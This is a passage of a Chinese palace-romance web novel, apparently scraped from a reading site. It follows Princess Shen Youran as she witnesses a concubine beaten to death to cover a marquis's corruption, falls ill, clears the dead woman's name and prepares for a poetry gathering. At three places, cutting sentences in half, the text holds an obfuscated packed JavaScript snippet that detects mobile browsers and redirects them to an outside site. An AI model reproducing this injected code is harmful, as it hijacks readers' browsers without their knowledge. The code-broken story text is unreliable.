他心想着,既然是太子的交代,那他可不敢置喙,不然万一被严晟这个小人告了状,那还落得个不敬太子的罪名。 等等,交代? 庄绪想起了父亲交代的话,现下已然耽搁了太久,再晚点,怕是会误了事。 庄绪可没闲工夫再跟严晟计较。 “帝姬表妹,我瞧着你身形同我那三妹妹相似,我是想着带你去我三妹妹那边寻件衣裳。”他当即想出一个借口。 这种蹩脚的说辞若是放在旁的地方,沈悠然自然是不会管的。 她想着庄绪大概是想要同她私下独处,但既然她本来就想找借口去寻庄家的三姑娘,那便顺水推舟,先去了后院,之后再找个机会甩掉庄绪,在后院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689094|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄打探一番。 到时候若是有人问起来,自己一个外人在后院迷了路,再正常不过的事了。 “还是庄世子考虑妥当,既然如此,就烦请庄世子带路了。”沈悠然强忍着给了他一个敷衍的好脸色。 至于严晟,没人提起让他一路同去,但他很是自觉地跟在了沈悠然身后,俨然一副护卫模样。 既想探查一番安信侯府,又不能眼睁睁看着沈悠然跟庄绪走,严晟没有拒绝跟上去的理由。 沈悠然眼神示意一旁的侍女不用再跟了,她可不想再多一个需要甩掉的人。 目光也就顺势落在了她旁边的严晟身上。 沈悠然目光一紧,微蹙着眉头,面上稍显威胁表情,像是在告诫严晟跟来可以,但不能坏事。 她当然知道严晟并不是因为哥哥的嘱咐才跟来的,如果真觉得有什么危险,哥哥会亲自来的。 只当是严晟也想看看安信侯府的蹊跷。 像是看穿了她心中所想,严晟微不可闻地点了点头,轻抿着唇一副噤声不敢言的模样。 沈悠然很是满意,不自觉地勾着嘴角,得意地笑了笑。 一旁的庄绪看着,心思也跟着活络了起来——帝姬表妹跟自己并排而行,一脸的笑意,这是欢喜的意思? 虽然表妹偶尔是会端着帝姬身份对自己有些不耐烦,但到底是女儿家,有些心思肯定也是藏不住的,没准那种态度,其实就是为了掩饰帝姬表妹的害羞呢? 庄绪越想越觉得在理,既然表妹不好意思,那他身为男子,理当主动些。 “帝姬表妹,我府上的荷花前些日子开了,反正午间无事,我这就让人将船收拾一番,待会儿我带你游湖泛舟。” 沈悠然恍若未闻,庄绪再接再厉。 “不行,湖边日头怕是太晒,表妹,不若我们去凉亭听……” 这下直接连“帝姬”二字都略过了,要不是因为庄太后,沈悠然怕是都不知道庄绪这个人的存在,他怎么敢逾矩叫的表妹。 沈悠然怕自己忍不住出言讥讽,不动声色地往右侧挪了两步。 她心中觉得被这样赤裸裸地觊觎十分丢脸,回过头去看了眼严晟,警告他不准在心中嘲笑。 这一眼落在庄绪眼中,就成了沈悠然碍于有外人在场而不得不同自己避嫌。 庄绪顿时觉得心中有恨,恨不得一脚把严晟踹湖里。 只是看到严晟比自己高出半个头,那股怒气还是偃旗息鼓。 “快走吧,”他干巴巴地说,“免得我们离席太久,长辈以为发生什么意外呢。” 说完,他就只身往前走,盘算着先完成爹的交代,和表妹独处一事,只能下次再寻机会了。 刚走出几步远,来到一处小花园,旁边还有座院子。 出门就是花园,闲暇时候出来散散心赏赏花也方便。再加上走过来也没花费多少功夫,位置也不偏僻,想来也是一处好的居所。 只是透过花丛之前的缝隙,沈悠然隐约看见院门口围着一群人,看打扮应该是家中仆从。 人群之中间或传来了凄厉的哭喊声。 “老爷,放妾身一条生路吧——” 15. 第 15 章 庄绪的脸色一瞬间变得非常难看。 他当然听出来了这声音的主人——他爹前些日子新纳的妾室。 那妾室姓甚名谁他其实也不知道,只是从下人们口中得知,是个舞坊里出来的歌姬。 庄绪为自己的母亲感到不平。 不过倒不是因为他爹朝三暮四,却是因着那妾室的身份太过低微,他觉得丢了母亲的颜面。 那种女人,在外面玩玩就好,带回家里就显得太失身份了,他可不愿自己的母亲和一个歌姬姐妹相称。 而现在,阖府上下都在为了太子和昭懿帝姬的到来忙碌着,却让一个舞姬冲撞了贵客。 庄绪当即恨不得找人堵了那舞姬的嘴,直接拖出去沉塘。 但偏偏那人是他父亲的妾室,他这个做儿子的,总不能把手伸到父亲房里,随意发卖了父亲的人。 比起庄绪目光短浅到只能顾及到自家的面子,沈悠然和严晟相视一望,在无言之中意识到对方也看穿了安信侯这拙劣的撇清方式。 从庄绪出现将人引到这里来,到院内突然响起的责罚声哭喊声,都是安信侯的授意——他就是要告诉太子,他顶多就是纵容妾室打着他的名号在外胡作非为,可没有做出什么卖官鬻爵的砍头大罪来。 二人没开口,只等着这出戏演到下一幕。 果不其然,为首的那个老婆子兴许是察觉到了这边的动静,抬手止住了家丁们的动作。 “周姨娘,您可别怪我们这些下人,要怪啊,就怪您那个兄弟,在外吹嘘是咱们侯爷的小舅子,让下头的人孝敬他呢。” “咱们侯府正经太太的娘家尚且不会这般败坏侯爷名声,您那位兄弟倒是会给咱们家糊污泥呢,咱们侯爷清清白白,若是往后因你兄弟的事犯下大错,这让咱们侯府往后可还如何在宣阳城立足!” 那妾室双臂被两个粗壮的婆子架着往一旁的板子上拖,兴许是为了能够勾住什么东西防止自己像个牲畜一样被人任意宰割,她的双腿不断地在地上挣扎着,脚上的鞋子也只剩了一只。 脚踝与地面摩擦着破了皮,血渍渐渐染红了雪白色的袜。 “我没有、我没有……”她泣不成声地替自己辩驳着。 那婆子又摆了摆手,两个仆妇将那妾室落到一旁的长凳上,为了防止她逃跑,还不知道从哪掏出两段粗绳,将她的手腕和凳腿绑在一块儿。 旁边的两个家丁,面无表情地用手中的棍棒,将女人打得皮开肉绽。 沈悠然的耳中,只剩下了越来越微弱的哭喊声。 她的心中一紧,她也不知道此刻自己该做什么,只是身体率先一步做出了反应,“等、等等……” 那院中的人,这才“恍然大悟”似的发现旁边还有人。 庄绪没料到沈悠然会出声,当即以为她是被家里的这些污秽事吓到了,连忙呵斥院里的人。 “吵吵闹闹的成何体统,真是不怕在帝姬和太子面前丢了我庄家的颜面!” 那婆子见侯爷的吩咐已经达到,也是怕这妾室万一大喊大闹起来坏了什么事,一脸惶恐地跪下来求饶。 “拜见帝姬,老奴等实在不知帝姬在此,冲撞帝姬实属老奴罪过,还望帝姬恕罪。” 沈悠然心中冷哼,不知?怕是谁都比她清楚! 一旁已经被打得奄奄一息的叫做秋娘的女人,努力撑起半个身子,看了看眼前的人。 一个是只远远见过从未照面的侯府世子,另外两个人不认识,隐约听见旁边的婆子在喊着什么“帝姬”之类的词。 从前似乎也是听过皇家有位公主深受皇帝喜爱,还特意为她用了“帝姬”的称号。 只是现在脑子模糊得厉害,混混沌沌的,也想不起其他的事。 其实不止是现在,好像从有记忆以来,她就是这样混混沌沌的。 秋娘的爹是个被砍了脑袋的大贪官,自她有记忆起,就和娘一起生活在教坊司里。 秋娘其实不是她原本的名字,她原本的名字里有个秋,教坊司的嬷嬷说了,她们这种罪籍女子,能有个花名就不错了。 总不能贵人来消遣,还得尊敬地叫她一声名字吧。 她懵懵懂懂的,觉得哪里不对,但又说不上哪里不对。 嬷嬷们总说,她能活下来就已经是天家恩赐了,就这么活着就好了,不用活得太明白。 娘死之后,她觉得自己好像活得更不明白了。 再后来,她遇见了安信侯爷,他说自己温柔小意,是他的知心人,还说会帮她脱籍,让她跟着去安信侯府上过好日子。 嬷嬷们说,她这是遇见贵人了,是天大的福分。 入府的那日,安信侯问她还有没有什么亲人在,秋娘只隐约听娘说过她还有哥哥,但是她从未见过。 侯爷总说那日是他们成亲的好日子,秋娘不懂,但觉得若是好日子,那娘在的话应该会更好的。 她怔了一会儿,侯爷问她怎么了,她说想娘了,侯爷把她揽进怀里,说会帮她打探一下家人的消息,以后会帮她好好照拂一下哥哥。 秋娘不懂,她想的明明是娘,又不是哥哥,但多年来讨好客人的习惯告诉她,这个时候应该笑笑,然后叩谢侯爷的恩典。 在侯府的日子其实是跟教坊司差不多的,身边的嬷嬷说着差不多的话,让她听话懂事,只管伺候好贵人就行了。 唯一的区别是,贵人只剩下了侯爷一个。 秋娘以为日子会就这样过下去,直到她被一群婆子拖拽着,一身血污地躺在了院子里。 混混沌沌的她脑子里突然好像闪过一道光,她不知道自己该做什么,只是本能地拼劲气力大喊:“帝姬、帝姬救救我,我不知道发生了什么,我什么……什么都没做过……” 她其实也不知道该不该向这个人求救,只是她也再找不到其他人了。 她娘说,早在被抄家的时候,就已经求过所有菩萨神佛了,所以秋娘现在也不知道该求谁,或许现在随便路过一个马奴,她也敢上前求一求。 沈悠然看向秋娘,看见了那双在浑身脏污里显得格外澄澈的眼睛。 她顿了顿,嘴里喃喃道,“等等、等等……” 她只是下意识地想要叫停这场屈打成招,只是如何救,她没有一丝头绪。 听说这妾室是罪籍女子,即便当了安信侯的妾室,身契也是在安信侯府上,一个妾室的命如何得听安 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严晟皱眉,若安信侯真的把手伸进宫里胆敢随意插手人员派遣一事,那可是要杀头的大罪,就连庄太后也无法将他保下来。 这种时候,他真的不敢去赌安信侯会不会铤而走险,为了瞒下此事对昭懿帝姬不利。 他不敢放沈悠然一个人在这里。 左右也没有合适的人了,严晟想了想,选了一个头脑最为简单的人选,他猜测,或许庄绪还不知道庄明阳的所作所为。 “庄世子,烦请……” 话音未落,严晟就听见一阵闷哼声,快速转过头去,看见家丁的袖口从眼前一闪而过。 原本趴在长凳上的秋娘,歪着头躺在长凳子上,额角出现了一个淌血的伤口,人已经再没了生息。 而长凳的边角上,还站着浓稠的血迹。 一旁的婆子瞬间惊呼出声:“天老爷哦,看来一定是帝姬说的那样,这下贱胚子和外头的人昧下了帝姬的珠子,现下被抓了个现行,怕是也没有颜面活了,这才自戕的吧?” “帝姬明察啊,侯府也是被这女子蒙在鼓中丝毫不知啊,想咱们侯爷日日好吃好喝地养着这女人,侯夫人也是处处关怀,竟没想到她如此胆大包天,连帝姬宫中的珠宝都敢动歪心思,真是该死啊!” 沈悠然的手从严晟袖口滑落,明明还在为自己想到了拖延的办法而感到开心,怎么也没有料到,秋娘会就这么死了。 而她死后被安的罪名,还是之前自己曾沾沾自喜可以用来救她的法子。 从洞口里源源不断冒出来的血液浓得像是墨一样,要把沈悠然的五官全都淹没。 她觉得自己喘不过气来,也听不见旁边的呼喊。 怎么就……突然变成这样了呢? 粘稠的血液从长凳上滴答落下,像是用来计时的水钟,宣告着秋娘的生命终结。 沈悠然觉得看着满眼的红,有些喘不过气来。 忽然之间,眼前一黑,一阵凉的触感遮蔽住了视线。 沈悠然听见严晟在她的耳边轻语。 “别看。” 16. 第 16 章 昭懿帝姬病了。 一向仁慈的盛兴帝罕见地对太医发了火。 “前些日子不是说帝姬身体大安了吗?怎的如今连着高烧两日不退?宫里养着你们这群医官,竟是连一个落水风寒都治不好吗?” 殿中烛火在压抑的叱骂声中轻轻晃动着,一如跪在殿前的那群瑟瑟发抖的太医一般。 他们不敢为自己辩解,一是怕自己的喊叫声扰了帝姬清静,二来,也是怕说错话,惹得盛兴帝不悦,只得抖着身子磕头。 见他们这般怯懦地只是求饶却什么都不做,盛兴帝更是急从中来。 “朕不要你们求饶,只要朕的昭懿快快好起来!还跪着作甚!赶忙去想法子啊!” 先帝曾有一侄,因为出身不好,在府中没什么人在意,连着烧了几日也没人发现,后面就变得有些痴傻。 盛兴帝只从前家宴的时候远远瞧过那位远房堂兄,再后来就是闲言碎语里听见他的痴傻之状,听说连涎水都要旁人来擦。 他不能让昭懿变成那副模样。 跪着的几位太医互相看了一眼,然后一个胆子稍大的开了口。 “陛下,兴许……帝姬是被什么冲撞,魇着了。臣想着,不若在方子里加几味安神的药材试试……” 盛兴帝说帝姬伤寒复发,常见的退热药太医院里都开过了好几副,还让人用烈酒给帝姬擦过身子,就是不见好。 晋仁是三年前才开始在宫中当值的,比起其他的医学世家传承,他从在民间当大夫的父亲那里学来的本事,显得有些“浅薄”了,在太医院里也没什么露脸的机会。 其实他是前两刻才踏入殿中的,平日里给贵人请平安脉露脸的机会他总赶不上趟,今日倒是叫上他了。 其实晋仁笃定,太医院里那些人不可能真无能到连帝姬不是伤寒发热都看不出,只是他们不敢开口罢了。 反正帝姬前些日子确实落过水,照着治伤寒的法子治也是有理有据。 但要是提出了其他的法子却又没能治得好,可就不敢想陛下会如何了。 况且被魇着了这种事,若是查到了是正当的缘由就罢了,若是些见不得人的事…… 有些人不愿意蹚浑水,怕知道得多了,对自己倒成了不好,只敢开些温养的方子,盼着帝姬自己能够好起来。 晋仁日前差点冲撞了太后,得赵皇后帮忙解围,再加上家中有个妹妹同帝姬差不多大小,犹豫着还是开了口。 盛兴帝若有所思地看了他一眼,吩咐了两件事。 让晋仁去开方子抓药。 让太子去书房见他。 前者领了命就退了出去。 后者…… 后者就像是心有灵犀一般,就在盛兴帝派去寻人的内侍踏出殿门的时候,就看见了太子踏着月色而来。 身后跟着的,是瞧不清神色的严晟。 “父皇,儿臣有事要禀……”太子神色担忧,“不过在此之前,还请母后同昭懿说句话。” “就说……秋娘已经好好安葬了。” * 都说宫里是个吃人的地,但盛兴帝即位以来,帝后二人对待宫中的下人们甚是和善,一些无关痛痒的小错,也不会到砍头杖毙的地步。 哪怕是真有什么大罪,也不会犯到沈悠然面前来处罚。 是以,秋娘的死是沈悠然第一次直面一个条鲜活的生命在她面前消散。 当晚她回了宫中便开始发热,梦里全是秋娘哭喊着说“帝姬救救我”。 迷迷糊糊之间似乎是有人扶着她起来喝了水,又或许不是水,沈悠然觉得有些发苦,但她已经没有余力去思考到底是什么了。 身上源源不断传来的热气将她烘烤着,她觉得很渴,又觉得很累。 也不知道是什么时候了,她突然感觉到一阵凉意,是一双轻柔的手正在抚摸着她的额头,安抚着她不安的躁动。 “皎皎,别怕,别怕。” “秋娘已经好好安葬了。” 沈悠然蓦地觉得身上一轻,秋娘的求救声也被这道安抚压了下去,然后就再没了意识。 再醒来的时候,沈悠然第一眼就看见了半靠在床榻旁的赵皇后,她的一只手还搭在沈悠然的额头。 “母后……” 因为持续高热,沈悠然的嗓子有些沙哑无力,听起来分外可怜。 听到她醒了,赵皇后总算是放了心,招呼着侍女端些温水来。 不仅如此,屏风外也渐渐有了动静,先是盛兴帝快步而来,紧接着是沈煦。 盛兴帝伸手轻抚着沈悠然的额头,觉察到掌心的热意已退,长舒了一口气。 被侍女搀扶着半坐了起来,沈悠然一口气喝了整整两盏温水,才觉得自己的魂又回来了。 但脑子还是有些糊涂的,她扫了一眼众人的神色,开口发问:“怎么哥哥也在,发生什么事了吗?” 盛兴帝和沈煦都想开口,被赵皇后扫了一眼。 “皎皎刚醒,莫要吵到她。”她语气轻柔,“不过是你发了热,现下已然无恙了。” 沈悠然回过了神来,想到之前自己还在安信侯府,想到了秋娘。 她目光无意识地落在了屏风之外,发现那边还有一道身影。 也不知道是怎么的,明明没有见过几次,她倒是能凭借着身影一眼认出了是严晟。 那带有凉意的触感再度浮现。 顺着她的方向看过去,沈煦这才想起好友在此。 “阿晟,昭懿已然退了热无大碍,你也不必过分自责。” 盛兴帝也隔着一道屏风道,“是啊,这是本不是你的错,现已见到帝姬醒来,你且放心吧。” “夜已深,还是速速归家好,莫要让太傅担忧。” 沈悠然瞧着外面那道身形一顿,紧接着行了礼。 “既如此,那臣便退下了。” 说罢,沈悠然就瞧见他往外走去。 两人从始至终没有打过一个照面。 沈悠然突然就想到了迷迷糊糊之间听到的那句话安慰她的话。 她知道那话是母后说出口的,但她们又是如何知晓秋娘的,结果不言而喻。 “父皇,安信侯府那边……” 盛兴帝神色一凛,替沈悠然掖好了被角,言语里隐隐有些怒气。 “皎皎刚病愈,不宜多忧心,此事你皇兄已告知父皇了。” 沈悠然还想再说什么,但赵皇后率先开了口。 “行了,皎皎也累了,母后让人温了粥,你先用些,晚上母后陪着你睡。” 父母兄长皆关切,沈悠然也没有再坚持。 是夜,一家人凑在一起吃了顿淡得嘴里都没味的晚膳,沈悠然晃着赵皇后的手不断地撒着娇,直言自个儿身上一股子酒臭味,但赵皇后也没松口让她沐浴,只差人用温热的棉布巾子替她又擦拭了一番。 到底是病了两日,沈悠然也没太大的精力,一番折腾下来也没什么心思再管其他的了,抱着赵皇后的胳膊沉沉睡去。 被梦魇折磨了这么久,这一觉倒是让沈悠然休息了个够。 在睡梦中的她不知,安信侯第二日一大早又进了宫。 先是认了秋娘指使妹妹盗窃一事,说是在她房中搜出了信件,她家中有个幼妹在宫里当值。二人互通书信的时候对帝姬的首饰起了歹心,从小在教坊司里过惯了苦日子,安信侯府治家森严,秋娘没有管家职权,平日里过手的事也捞不到油水,此番见钱一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690621|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,才犯下了此番大罪。 庄家还让人送了两匣子的珠宝来,说是帝姬的珠串早已被贱卖,如今只好那些旁的来替代。还说那偷盗的小丫头逃得不知所踪,庄家也无法寻得。 第二,则是向盛兴帝请罪,道他替妾室打探家中兄长之时,意外得知马场正在遴选合适的管理,一时之间为了在妾室面前长个颜面而昏了头,明里暗里暗示下头的人给个便利,替那妾室的兄长谋个无关紧要的差事。 庄明阳说,在东窗事发之后他也曾悔恨万分,日日辗转反侧,思及平日里盛兴帝对庄家的诸多照拂,自觉对不起盛兴帝,更对不起庄太后,自请罚俸一年。 罪也认了,俸也罚了,就连那个犯错的妾室也畏罪自戕了。 事情前前后后圆上了,再想要挑错,也挑不出来了。 更何况秋娘和她的兄长已然埋入泥土中,哪怕是把尸骨都挖出来,也再开不了口说什么了。 沈悠然也从沈煦口中得知,几番严查之下,只除了这桩巴结安信侯府而出了的岔子之外,也未曾出现过不和规矩的任命。 这卖官比爵一事,当是多想了。 沈悠然倚在榻前,听着青黛打探来的消息,沉着个脸看不清神色。 青黛手中还捧着庄家送来的首饰,满满当当的两个箱子,五光十色的直教人晃了眼。 庄家连弥补的珠宝都送来了,但沈悠然宫中并未失窃。 沈悠然摆摆手,让青黛将这两个匣子收起来。 但青黛一转身,又听见沈悠然开了口。 “等等。” “就放在外边,放在我常用的妆奁旁。” 青黛不解,虽然两匣子珠宝看起来多,但以安信侯府这等因为出了个太后而被封侯的“裙带侯爷”家底来说,也置办不起太多的精致首饰, 至少比平日里帝姬常用的那些差了不止一星半点,各地使臣供奉的珍奇之物,可大多都被盛兴帝赏给了帝姬。 沈悠然看着她略带疑惑的眼神,没有解释。 因为她也不知道该如何解释。 这几日闭上眼,总是能想起秋娘说的最后一句话。 她说自己什么都不知道。 是啊,秋娘到死之前,去过的地方也就只有教坊司和庄家后院,她能知道什么,她什么都不知道。 她被困在教坊司和后院里,得意时,是“贵人”和庄明阳的解语花金丝雀,庄明阳为了在她面前展示安信侯的权力照拂她的兄长;失意时,她是从小在教坊司长大不懂规矩的舞姬,庄明阳会为了保全自己而随意捂了她的嘴让她背负着“恃宠而骄”的罪名死去。 她的前半生因为父亲犯的错在教坊司受磋磨,后半生又因为“夫君”的颜面屈辱地在受刑长凳上永不瞑目。 她能知道什么呢? 她一个后宅女子,她什么都不知道。 沈悠然让青黛替她去安信侯府传话,就说珠宝找到了,并非失窃。 一则还秋娘清白,二则也要彻底扫了庄明阳的面子,让人背地里嘲他趋炎附势。 要正大光明,要闹得人尽皆知最好。 青黛看着帝姬的模样,不清楚发生了什么,但她知道帝姬不高兴,连忙拿出了一封信笺。 “帝姬,这是太子殿下送来的信。” 太子来来回回探望过帝姬好几次了,却不知为何这话话是不能当面说需要写信的。 但她懂规矩,没有随意打探。 和青黛揣着同样疑惑的沈悠然打开信封,看见了一段字迹不太熟悉的话。 “秋娘已妥善安葬于城郊墓园,帝姬若想探望,可寻碑铭,段秋霜。” 原来她,也是有自己的名字。 她叫段秋霜。 17. 第 17 章 集英书院里属于昭懿帝姬的位置总算不再是日日空缺。 沈煦也觉得奇怪,打趣着是不是发了几次热让亲妹妹的脑子坏掉了,让她性格大变从此勤学苦读。 然后就被沈悠然追着绕着殿外跑了两圈才算完。 盛兴帝和赵皇后倒很是欣慰,倒不是求女儿有多大的建树,但学无止境,多懂些自然是好的。 更重要的是,在书院还有夫子盯着,不至于又被她偷偷溜出去玩了又惹些风寒发热回来。 先是一身湿漉漉地回来,紧接着又是连着两日发热,可把盛兴帝和赵皇后给急坏了。 但其中最高兴的,还要数季清清。 日前她在安信侯府上吃得正欢快的时候,听到常夫人身边的下人匆忙来报,说是帝姬晕倒了。 她连忙扔下手中的筷子,出了门却不知道该往哪边去。 帝姬只是让她帮忙拖住常夫人,但又没细说自己是去做什么了。 是在前院,亦或者后院,季清清一概不知。 慌忙踌躇之中,她看见严晟怀中半抱着一个人,脚步匆忙地往前院的方向去了。 身后还跟着个脚步虚浮赶不上趟的庄绪,一脸的焦急。 不明真相的季清清只好提着裙摆跟上了严晟的步伐,但却被告知帝姬身体不适要先行离开,待会儿会有人送她回去。 但季清清担心的又不是怎么回家…… 后面也是听说帝姬病了,季清清猜宫里已经忙坏了,也没去添乱,听闻帝姬病愈后递折子进了宫,才放心下来。 帝姬现在日日都来书院,季清清有伴了,又如何不高兴。 季清清的祖父季时乃是当朝宰相,为人耿直清廉一心为国,从不因关系的亲疏而包庇或诋毁旁人,但太过铁面无私总是会引得旁人龃龉,走太近了也怕被发现什么把柄。 连带着季清清在书院的人缘也不太好,平日里走得最近的也就只有昭懿帝姬。 有了好友相伴,这下就连看向单手抚着胡须摇头晃脑的夫子,都不会让她觉得催眠了。 如今天气渐热,前几日还让人忍不住心烦气闷,但今日倒是有微风吹拂,窗外的枝叶在风中悠闲地晃荡着,地上落满了影子。 季清清趴在桌上,一只眼关注着夫子的动静,另一只眼用来看着地上的影子打发时间。 还能一心二用地开着小差,思绪飞到了窗外。 前些日子食属里新招了个蜀地的厨子,竟做了个唤做凉面的吃食,酸酸辣辣的在闷热的天气里吃着格外有食欲。 只是那大厨没做两天就被不知道哪家的夫人勒令辞退了,因为她的孩子回家之后上吐下泻,大夫说是被辛辣刺激了肠胃,就到书院不依不挠地闹着要将那厨子辞退。 季清清的外祖母是蜀地来的,幼时她跟着外祖母也曾吃过一些辛辣之物,不仅受得了刺激,还觉得辣得酣畅淋漓的感觉颇有几分快感。 就是可惜了帝姬来得不巧,不然也能尝尝了。 她撕扯下书页的一角,翻过印有“书中自有黄金屋”的那一页,提笔写下一行小字。 “帝姬,你可曾用过蜀地之食?” 虽是有风,但吹不进屋内,季清清只好低头吹干墨迹,然后将书页揉成一团,扔向沈悠然脚下。 沈悠然看了一眼夫子并未注意到,佯装笔落在地上,弯腰去捡,低头看了一眼然后提笔,神情肃穆地跟盛兴帝在批阅奏折一样。 二人动作行云流水,一看就是没少做过这种事。 蜀地的东西沈悠然确有吃过,年末的朝贡大会,各地的使臣都会带着各地的特产齐聚宣阳城。 贡品的东西大都是一分为三,最为贵重的直接都是送往慈宁宫献给庄太后;其次是盛兴帝这一支,然后是靖王府。 虽是被排在了最后,但顺宁郡主有庄太后的照拂,也不会差到哪里去。 被季清清这么一提,沈悠然抿抿唇倒是觉得有些馋了。 二人你来我往地谈天说地,从蜀地谈到宣阳城,从吃食说到城郊的桃花林,恨不得当即就飞出去将宣阳城好好看个遍。 但说到玩,季清清想起了一件事。 “对了帝姬,过几日书院的诗会,你去吗?” 沈悠然先是一愣,然后想起了她口中的诗会是什么。 集英书院一年两次诗会,分别是春夏、秋冬交界之季。 诗会不限东院西院,所有想要参加的学子先要递交一首主题不定的诗,等到了诗会那日,书院的管事们会将事先誊抄过一遍的诗词挂在书院特意搭起的灯架上让众人品鉴,避免通过笔迹认出作诗的人。 届时,参加的学子可以凭诗选人,二人现场再作一首,由在场的其余人投票,胜者的诗和名将会被收录至书院年末的诗集里,供众人传颂。 盛兴帝即位之后,更是连续几年都点名想要看看学子们的诗作,这倒是让不少人都心怀期望——说不准哪一日自己的诗就入了贵人的眼呢? 直到太子入学集英书院之后,这种期待又更近一层,哪怕在现场斗诗输掉了没能在诗集上留名,这不还有一个太子在场吗? 是以这集英书院的诗会近年来是越办越热闹了,甚至从月初就开始筹备。 如果只是单纯的诗会,沈悠然觉得没什么意思,诗啊词啊的,她向来不感兴趣。 正想要摇摇头的时候,她突然想到了什么,下意识地回过头看了一眼末尾的空座位。 日头尚早,严太傅的授课还未结束,位置自然也是空悬的。 沈悠然回过头,提笔回信。 “反正无聊,去看看呗。” 季清清也不擅长作诗,但她爱凑热闹,有帝姬陪着就更好了。 两个人自以为隐秘的小动作没能瞒得过夫子的眼。 他不敢朝着昭懿帝姬发难,只好点了季清清的名。 “可是有什么独到的见解,不妨说出来大家一道探讨?” 季清清平日里看着大大咧咧的,但面对夫子的时候还是发憷,就像是老鼠天生就该怕猫一样,做学生的自当害怕夫子。 被当众点了名让她双颊微微泛红,垂着头避开旁人好奇的打量,老老实实地交代了自己是在说诗会,问帝姬要不要一同前去。 夫子先是轻描淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695288|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写地说着二人课上不可走神,其次是肯定了两人对于诗会的积极态度值得众人学习。 不同于西院那边的寒门学子,诗会在东院这边,特别是甲字班里,就显得比较鸡肋。 甲字班的学生多是皇亲国戚,哪怕不用考科举立战功,光是靠着祖传的爵位都足够一辈子吃喝了,根本就不用去想着靠一两首诗词在盛兴帝面前露脸。 除了利之外,在这些学子看来,一个王侯公爵家的世子名号,可比在一个诗集上留的名字名声大。 是以,听闻昭懿帝姬要参加诗会,夫子也觉得欣慰,认为她是真心好学。 隔着一道屏风的学子们听到帝姬要参加诗会,不禁有些蠢蠢欲动,毕竟若是能在诗会上让帝姬见识见识自己的才学,说不定还能有奇妙的际遇。 等到下了学之后,帝姬亲临诗会的消息就传遍了集英学院。 连沈煦也知道了。 “坏了坏了,我妹妹这是真烧坏了脑子,平日里最是不喜诗词歌赋的人,居然想去参加诗会。”沈煦满眼的担忧。 今日朝中事多,栖梧宫里今日的饭桌上只有赵皇后和兄妹二人。 沈悠然瞪了哥哥一眼,然后盯着前方的烛火发出一声惊呼。 沈煦瞬间变了眼神,戒备着看向沈悠然目光的落在的地方,但却什么都没发现。 再度转过身的时候,却只看见沈悠然用筷子挟着水晶脍,撇嘴晃着脑袋,一脸得意。 那是赵皇后分给两个孩子的,私下用膳的时候,赵皇后与两个孩子向来是不拘什么用膳规矩的。 他只觉得好气又好笑,“还会抢食,看来是没傻。” 回应他的是沈悠然捏着拳头在他面前晃了晃。 赵皇后在旁边看着兄妹二人的打闹发笑,但还是没忘了出来打圆场。 “好了好了,阿煦,不许再欺负妹妹。” 沈煦看着沈悠然那沾沾自喜的鬼脸,也不自觉地跟着勾了勾嘴角。 会打闹,总比前几日看起来失魂落魄的样子好多了。 沈煦原是没打算参加诗会的,毕竟有他在场,有些人会不自在。 但既然自家妹妹要去,哪怕是宫中的父皇母后还未开口,他这个做哥哥的总要在旁边护着的。 更别提最近两次昭懿出事,都是在自己看不见的地方,沈煦不想,也不敢再去冒险了。 沈悠然轻咬着筷尖,眼睛提溜转着。 “唉,可惜了,嫂嫂不能来,某人可是想见嫂嫂想到要发疯了呢……” “胡说什么!”沈煦蓦地提高了声调。 沈悠然一脸坏笑,“我是说我呢,自从上次马球赛之后,我就没见过嫂嫂啦。” “哥哥这般激动作甚……唉,不过想想也是,嫂嫂也不在,哥哥一个人自然也是没有心思去参加什么诗会……” 沈煦说不过她,很有自知之明地不再接沈悠然的话,只侧过身子同赵皇后商议着想要去诗会看看有无怀才不遇的寒门学子。 只是突然看见碗里多出来的烧肉,又看了一眼沈悠然不知道什么意思的笑,下意识地觉得她这是,不怀好心。 18. 第 18 章 今年的诗会在陇山后院举办。 集英书院的院长一直都有将诗会的名声更加壮大的打算,今年得知帝姬和太子都要参与,狠心下了大手笔,还邀请了一些学者来指点品鉴,更是邀了画师前来,打算将这盛况绘在纸上,留于后世。 这也就使得外人也知道集英书院即将办诗会了。 书院建在城郊,周围原是村庄,但有一条通往书院的宽阔大道。 一些擅骑术的学子倒可以骑着马上下学,但也有不会骑马的,便只能乘坐马车。 渐渐地,集英书院外的道路也越扩越宽,两架并行还能有行人的位置。 于是有脑子灵活的小贩也趁着这次诗会的名气大,在外支起了摊子,卖茶水茶点的、卖馄饨炸糕的、卖灯笼折扇的、卖笔墨纸砚的…… 还有人卖起了书院优秀学子的画像和家庭背景,做起了媒婆的生意来。 